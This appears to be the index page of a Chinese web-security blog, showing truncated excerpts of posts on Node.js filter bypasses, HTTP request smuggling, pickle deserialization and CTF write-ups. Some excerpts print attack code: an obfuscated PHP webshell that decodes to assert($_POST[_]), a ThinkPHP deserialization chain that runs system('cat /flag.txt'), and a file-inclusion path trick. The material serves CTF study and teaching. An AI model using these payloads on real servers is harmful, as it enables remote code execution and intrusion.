Node.js常见漏洞总结
很久不更新博客了,学习总结一下nodejs的知识点
[toc]
大小写特性在javascript中有几个特殊的字符需要记录一下
对于toUpperCase():
1字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"
对于toLowerCase():
1字符"K"经过toLowerCase处理后结果为"k"(这个K不是K,是开尔文符号的K)
在绕一些规则的时候就可以利用这几个特殊字符进行绕过,
可以参考p牛的老文章 Fuzz中的javascript大小写特性
prompt靶场的某一关
对于以下的过滤,便可以使用这个特性进行绕过
123456789function escape(input) { // filter potential start-tags input = input.replace(/<([a-zA-Z])/g, '<_$1'); // use all-caps f ...
HTTP/2 Server Push可能存在的攻击方式
什么是 Server PushServer Push是HTTP/2规范中引入的一种新技术,可以类比HTTP/1.1的keep-alive机制,允许客户端和服务端用同一个 TCP 连接发送/接收多个请求/响应,减少了昂贵的 TCP 建立连接和断开连接的过程,还有HTTP/1.x的Pipelining机制,允许客户端在收到响应之前继续发送幂等方法(GET 和 HEAD)的请求,提升在高延迟连接下页面的加载速度,而Server Push是为了提前推送响应。
使用 HTTP/1.x 协议时,由于连接不能完全被复用,许多站点为了减少连接数和请求数,会把样式表和脚本内联到 HTML 中。如果不考虑缓存,可以认为这是提前推送了样式表和脚本的响应。许多介绍 server push 的文章也以推送这些静态资源为例。
可以看到,使用 server push 后,两个静态资源文件随着 HTML 一同被推了回来。主要省去了两部分时间:一部分是接收和解析 HTML 的时间(不一定是接收和解析完整 HTML 的时间,浏览器很可能一发现引用了静态资源文件 ...
协议层安全-HTTP请求走私
一、什么是请求走私当今的web架构中,单纯的一对一客户端—服务端结构已经逐渐过时。为了更安全的处理客户端发来的请求,服务端会被分为两部分:前端服务器与后端服务器。前端服务器(例如代理服务器)负责安全控制,只有被允许的请求才能转发给后端服务器,而后端服务器无条件的相信前端服务器转发过来的全部请求,并对每一个请求都进行响应。但是在这个过程中要保证前端服务器与后端服务器的请求边界设定一致,如果前后端服务器对请求包处理出现差异,那么就可能导致攻击者通过发送一个精心构造的http请求包,绕过前端服务器的安全策略直接抵达后端服务器访问到原本禁止访问的服务或接口,这就是http请求走私。
pker使用说明
pker使用说明简介
pker是由@eddieivan01编写的以仿照Python的形式产生pickle opcode的解析器,可以在https://github.com/eddieivan01/pker下载源码。
使用pker,我们可以更方便地编写pickle opcode(生成pickle版本0的opcode)。
再次建议,在能够手写opcode的情况下使用pker进行辅助编写,不要过分依赖pker。
此外,pker的实现用到了python的ast(抽象语法树)库,抽象语法树也是一个很重要东西,有兴趣的可以研究一下ast库和pker的源码,由于篇幅限制,这里不再叙述。
pker使用示例123456789101112131415161718192021222324252627282930313233343536GLOBAL对应opcode:b'c'获取module下的一个全局对象(没有import的也可以,比如下面的os):GLOBAL('os', 'system')输入:module,instance(callable、 ...
pickle反序列化总结
pickle过程详细解读
pickle解析依靠Pickle Virtual Machine (PVM)进行。
PVM涉及到三个部分:1. 解析引擎 2. 栈 3. 内存:
解析引擎:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 停止。最终留在栈顶的值将被作为反序列化对象返回。
栈:由Python的list实现,被用来临时存储数据、参数以及对象。
memo:由Python的dict实现,为PVM的生命周期提供存储。说人话:将反序列化完成的数据以 key-value 的形式储存在memo中,以便后来使用。
为了便于理解,我把BH讲稿中的相关部分制成了动图,PVM解析 str 的过程动图:
PVM解析 __reduce__() 的过程动图:
手写opcode
在CTF中,很多时候需要一次执行多个函数或一次进行多个指令,此时就不能光用 __reduce__ 来解决问题(reduce一次只能执行一个函数,当exec被禁用时,就不能一次执行多条指令了),而需要手动拼接或构造opcode了。手写opcode是pickle反序列化比较难的地方。
在这里可以 ...
Dest0g3 520迎新赛-Web
[toc]
phpdest123456<?phphighlight_file(__FILE__);require_once 'flag.php';if(isset($_GET['file'])) { require_once($_GET['file']);}
这里使用的是PHP最新版的小Trick,require_once包含的软链接层数较多事 once 的 hash 匹配会直接失效造成重复包含
1/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self ...
无字母数字webshell总结
方法一:异或123456<?php$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';$___=$$__;$_($___[_]); // assert($_POST[_]);//不可见字符都用url表示
123456<?php$_ = "!( ...
忙里偷闲做一道Web题
login_game0x00 源码pwnhub的一道web题目,题目附件中给出源码,项目结构如下
|– login_game |– application.py |– requirements.txt |– config | |– userConfig.yaml |– static |– templates | |– admin.html | |– index.html | |– login.html | |– result.html |– uploads
其中application.py的源码如下
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394from flask import Flask, ...
CISCN2022 初赛
WebEzpoptp6反序列化链子,网上很多
123456789101112131415161718192021222324252627282930313233343536373839404142<?phpnamespace think\model\concern;trait Attribute{ private $data=['jiang'=>['jiang'=>'cat${IFS}/flag.txt']]; private $withAttr=['jiang'=>['jiang'=>'system']]; protected $json=["jiang"]; protected $jsonAssoc = true;}trait ModelEvent{ protected $withEvent;}namespace think; ...